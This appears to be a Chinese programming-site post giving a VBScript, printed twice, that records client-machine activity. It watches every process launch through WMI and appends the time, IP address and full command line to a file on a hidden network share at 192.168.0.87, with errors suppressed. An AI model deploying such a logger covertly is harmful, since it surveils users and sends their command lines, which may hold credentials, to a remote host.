用VBS记录客户机操作的代码
程序员文章站
2022-04-10 08:01:57
记录客户机操作的vbs脚本on error resume next strcomputer = "." set ...
记录客户机操作的vbs脚本
on error resume next
strcomputer = "."
set objwmiservice = getobject("winmgmts:\\" & strcomputer & "\root\cimv2")
set ipconfigset = objwmiservice.execquery _
("select ipaddress from win32_networkadapterconfiguration where ipenabled=true")
for each ipconfig in ipconfigset
if not isnull(ipconfig.ipaddress) then
for i=lbound(ipconfig.ipaddress) to ubound(ipconfig.ipaddress)
a=ipconfig.ipaddress(i)
next
end if
next
strcomputer = "."
set objwmiservice = getobject("winmgmts:" _
& "{impersonationlevel=impersonate}!\\" & strcomputer & "\root\cimv2")
set colmonitoredprocesses = objwmiservice. _
execnotificationquery("select * from __instancecreationevent " _
& " within 1 where targetinstance isa 'win32_process'")
i = 0
do while i = 0
set objlatestprocess = colmonitoredprocesses.nextevent
b=objlatestprocess.targetinstance.commandline
set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close
loop
on error resume next
strcomputer = "."
set objwmiservice = getobject("winmgmts:\\" & strcomputer & "\root\cimv2")
set ipconfigset = objwmiservice.execquery _
("select ipaddress from win32_networkadapterconfiguration where ipenabled=true")
for each ipconfig in ipconfigset
if not isnull(ipconfig.ipaddress) then
for i=lbound(ipconfig.ipaddress) to ubound(ipconfig.ipaddress)
a=ipconfig.ipaddress(i)
next
end if
next
strcomputer = "."
set objwmiservice = getobject("winmgmts:" _
& "{impersonationlevel=impersonate}!\\" & strcomputer & "\root\cimv2")
set colmonitoredprocesses = objwmiservice. _
execnotificationquery("select * from __instancecreationevent " _
& " within 1 where targetinstance isa 'win32_process'")
i = 0
do while i = 0
set objlatestprocess = colmonitoredprocesses.nextevent
b=objlatestprocess.targetinstance.commandline
set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close
loop